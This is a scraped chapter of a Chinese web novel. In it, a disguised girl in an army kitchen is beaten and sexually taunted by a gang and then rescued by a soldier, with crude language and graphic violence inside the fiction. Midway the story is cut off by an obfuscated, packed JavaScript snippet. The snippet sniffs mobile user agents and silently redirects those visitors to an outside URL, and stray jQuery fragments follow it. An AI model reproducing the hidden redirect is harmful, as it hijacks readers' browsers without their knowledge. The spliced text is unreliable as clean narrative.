默认冷灰
24号文字
方正启体

10. 第十回

作者:妖葡本书字数:K更新时间:
    秦四郎的根底,他是再清楚不过,若论骑射拳脚,确是个拔尖儿人物,可惜性子太过刚愎躁烈,只能为冲锋锐卒,难堪将帅大任,故而这些年来资历虽深,却始终不得升迁。


    那军中老油条何等老练,偏在这雏儿面前栽了跟头,被支使得团团转,似街口溜猴似的,倒非他太蠢,实在是...


    男人眼风掠过少年清俊的侧脸,他此刻耷拉着脑袋,一副装相,霍枭却分明觉得对方唇边没准憋着坏笑。


    是了,这般澄澈的眉眼,谁见了不当是个人畜无害的纯良羊倌?任谁也瞧不出,这小兔崽子内里竟是个装羊吃狼的厉害角色。


    他忽地忆起今晨途径校场,恰见那道清瘦身形蹲在灶前吹火。浓烟滚滚里,旁人唯恐躲闪不迭,偏她袖口掩着鼻,还笑盈盈腾手给老伙夫捶着肩,“刘叔您歇着,灶王爷脾气大,得顺着毛捋。”


    蓦地里那夜少年紧抱他双腿的一幕映入脑海,月光清辉下,那双眸子灼灼如星,似深不见底的黑渊中一把火,竟是亮得惊心。


    那少年身上有股未被尘浊沾染的鲜活之气。


    他眸光微动。


    他只是想不明白,军中多的是两面三刀的,对方分明深谙世情,却为何放着青云路不走,偏选他这冷灶来烧?


    这般非要在泥潭里打滚的妙人,着实让人生出几许...


    久违的乐趣。


    *


    晌午,火头营里正忙得烟熏火燎,郁芍端着满筐野菜正要淘洗,猛听得“哐当”一声,抬眼望去,只见姜疤瘌领着四五个泼皮,一众人横眉竖眼,将门槛踩得嘎吱响。


    灶间众人一见这阵仗,慌得个个抛下汤勺锅铲,一溜烟遁了,生怕沾上半星血点子。


    姜疤瘌恶狠狠盯着郁芍,歪着豁嘴怪笑,“小兔崽子,上次让你躲过一劫,今日定教你认得爷爷手段!”


    说罢他晃着瘸腿蹬蹬迫近,一步步将郁芍抵到墙跟,“怎得?舌头让猫叼了?昨儿个不是还编排耗子偷油,当着众人戏耍爷爷?”


    郁芍瑟缩成一团,细牙半咬着桃心唇儿,“姜爷您真要听?那您凑近着些...”


    姜疤瘌见她这怯生生之态,只当雏儿服软,不由咯咯冷笑,“眼下晓得怂了?昨个的机灵劲呢?”


    他依言凑近,忽闻得缕缕异香,心下暗忖道:怨不得营里一帮老爷们都好这口,若这小崽子肯钻胯讨饶,他今日姑且来试试兔儿爷旱道,究竟是窑姐儿滋味烈,还是这货骚劲儿大...


    一时间满腔戾气竟化作燥热,双眼灼灼焊在那胭脂瓣上,越瞅越似沾了露的花,恨不得囫囵吞进口中狠狠嗦一嗦!登时褌里那孽根更是铁硬如杵!


    郁芍忽将樱口贴近姜疤瘌耳廓,绵绵密密吐出一句淬了蜜的钢针,“你个老畜牲,除了欺软怕硬充好汉,还能做甚?”


    姜疤瘌闻言大怒!


    他抡起醋钵大的拳头,照准便对方面门砸去!可怜郁芍浑无寸铁抵挡,仓皇间抱头护首,仍教那铁锤劈中耳门,登时满脑髓一阵嗡鸣!


    *


    话说秦四郎打伙房门前经过,猛地忆起昨夜少年的话,一时犯了踌躇:他与姜疤瘌井水不犯河水,那老瘸驴行动不便,却到底在火房经营多年,虽说手下不过几个土鸡瓦狗,可那小子与他非亲非故,为了他惹一身骚?


    也忒不划算!


    他本已拿定了主意,偏一瞥去,恰窥见窗缝里,少年正被人一拳狠狠锤倒在地——


    这莽汉本就是个爆竹性子,沾火就着,登时头一发热,前脚刚立的誓,转眼便忘得一干二净。


    他凌空一腿,“哐当”踹飞门板,碎木横飞里扑身撞进了伙房!


    郁芍眼风扫见门口身影,当即捂着心口,眼泪珠儿说掉就掉,“姜叔!是小的错了!求您饶了我!”


    姜疤瘌并未瞧见秦四郎,见这小崽子骤然摆出一副病猫架势,一时愕然,这装腔作势的作态,又是唱的哪出?


    正自思量着,那厢秦四郎早火窜顶梁,他素来见不得以多欺少,又见郁芍哭得梨花带雨,眼尾洇着红,当即暴喝一声:“直娘贼!三五个汉子欺负个孩娃,还要脸不要!”


    话音未落,人已扑将过去。


    猝不及防下,姜疤瘌被顶得仰面倒栽葱,后脑勺“咚”地磕在灶台沿,顿时血浆子顺着砖缝直嘀嗒。


    他眼前飞蝇乱舞,半晌才拽回神识,打着摆子撑起身,嘴里不干不净骂着:“日你祖宗!哪个不长眼的无头鬼,敢踩你爷爷的土?!”


    他拧着赤红脖子回头,正要招呼兄弟们上前,乍见半截黑铁塔杵在眼前,浑如金刚似的!忙定睛一看,正是秦四郎。这杀才本就魁梧,怒目一瞪,他脖颈儿尚不及对方腕子粗,满肚子杀气登时成了哑炮。


    他心头一个咯噔!


    这莽子打哪儿蹦出来的?瞧那叉开腿架起臂膀的架势,难道要横叉一脚?


    整座军营里,谁人不识秦四郎?这泼才早混出了名堂,莫说单枪匹马了,饶是在场这群歪瓜裂枣捆作堆儿地扑上去,恐怕也难在对方手上讨到便宜...


    可众目睽睽瞪着,此刻他若服软,往后又怎镇得住场子?登时一颗心滚油似的,抬脚怕踩雷,缩腿又恐露了怯。


    他死死盯着秦四郎,舔了舔嘴皮上血沫子,“我当是雷公砸错门,嗬!原来是老秦!”


    他一口浊气顶在喉头不吐不快,偏又不敢触对方霉头,只得将邪火尽数撒在郁芍身上,“小贱种倒会装相!这才几日,就勾搭上了靠山?”


    他弓着腰凑前,荤腥热气直扑二人面门,现出两排焦黄板牙,“莫不是你夜夜和他在帐里黑灯瞎火搞屁股?”


    左右几个杀才闻言登时笑泼了场,“哈哈!你别说,他这护犊子的劲还真像!”


    “莫非二人真有一腿?”


    几人阴湿目光在秦四郎与郁芍间来回乱转,满是狎昵。有个赖子吊着三声高两声底的怪腔,口中秽语连连,“哟哟哟!夜壶配玉瓶儿...”


    更有个泼才索性拍着腚眼子,两手在裆处比划那媾和把式,满嘴腌臜词,引众人笑得愈发放肆。


    那些污言秽语浇进耳似滚油般,秦四郎登时煞气一路烧至头顶,“老子宰了你们!!”


    他怒喝一声纵身跃去,一头将姜疤瘌顶翻在地,石杵似的铁拳照着对方面门“咣咣”乱砸,登时将那瘸子鼻梁骨砸歪了半边,两道血溜子淅淅沥沥染得衣襟满是赤红。


    众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794367|190629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泼皮惊得呆了,待要上前,秦四郎反手抄起烧火棍劈头盖脸便打。他拳脚生风,四五个汉子连他衣角都捞不着,扑上来的全被掀翻了。


    姜疤瘌被剧痛烧得嗷嗷直叫,再顾不得那许多,扯开喉咙嚷道,“娘的!抄家伙!”


    几个泼皮闻言,随即寻了锅铲铁钩扑将上去,霎时间灶间桌翻凳倒,五六个汉子竟扭作一团!


    秦四郎纵有罗汉神通,终是双拳难敌四手,虽撂倒了两个,肩背腰眼处却也挨了好几记狠的,剧痛下骤生悔意——


    这浑水蹚得冤枉!


    火气一消,拳脚便慢了三分,肩上又着一记闷棍,正暗自叫苦,忽见那少年霍然撞进人堆,双臂一拦,大声哭喊道,“莫要再打了!快停下来!”


    一群猢狲登时卡了壳。


    挥到半空的拳头凝住,抡着板凳的忘了砸...


    姜疤瘌见状,神智倏然清明了几分,他狠狠吐了口血沫子,“姓秦的,你莫不是着了魔障?为个裤当没干的小崽子,竟值得拼命?!”


    秦四郎捂着渗血的额角,心下正悔着,方要顺着台阶下,忽觉袖口一紧,那小人儿冰凉指尖勾上他衣袖,泪珠儿啪嗒啪嗒砸在手背上。


    他垂首望去。


    只见少年发髻散乱,襟口被撕开半阙,露出一弯新雪似的颈子,噙泪的眼正雾蒙蒙地望着他,“四哥你快走!他们不过吓唬吓唬我!”


    男人心口骤然一跳。


    忽的便参透了达官贵人圈养小倌的妙处。这少年垂泪时娇怯怯的,似揉碎了桃花满地红,比那春闺娘子还惹心肝!


    他猛地啐了口血沫,暗忖今日既当了这冤大头,索性当到底!若是临阵畏缩,被人传扬开去,岂不折尽虎威?!


    他当即将郁芍护在身后,挺胸瞪眼喝道:“今个儿这梁子,爷爷是结定了!”


    姜疤瘌见这浑人竟要为一乳臭未干的小儿拚命,一时满腹恨意顶到喉头,恨不得掀了对方!偏这杀才着实凶悍,自知啃不动这硬骨头,若继续缠斗,定要落得两败俱伤,只得打碎了牙把血吞。


    他这番折了脸面又损筋骨,暗将一腔杀机深埋肺腑,悉数记在了郁芍身上。


    此是后话,暂且不表。


    *


    伙房内霎时只剩满地狼藉与郁芍二人。她转过身来,仰起一张小花脸,几缕碎发黏在额角,泪痕混着灶灰将腮边糊得花花道道,那双眸子却似雾蒙蒙的墨玉,灼灼似月出云岫。


    秦四郎本是个粗豪汉子,此刻教那水汪汪眸子一烫,满腹因挂彩的晦气霎时冰消,反从丹田窜起一股热腾腾的豪气!


    他胡乱抹了把面门,血痕混着汗渍涂了满脸,瓮声瓮气道,“哭甚么!几个没卵子的撮鸟,也值得你掉金豆子?”


    谁料这话一出,郁芍非但没止住泪,反倒似断线珍珠直往下滚,还扯出个比哭难看的笑,“今日若非阿兄在,我怕是要被他们打死了...”


    她鼻尖泛红,失了血色的桃心唇颤巍巍翕张开合,长睫上还挂着细碎的泪珠儿,随着抽噎一颤一颤的。


    灶火映照下,满脸尘污的俊容活像一朵遭碾的玉簪花,凛冽残光中浮出千万种易碎感,直勾勾撞进了秦四郎心窝最软处!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)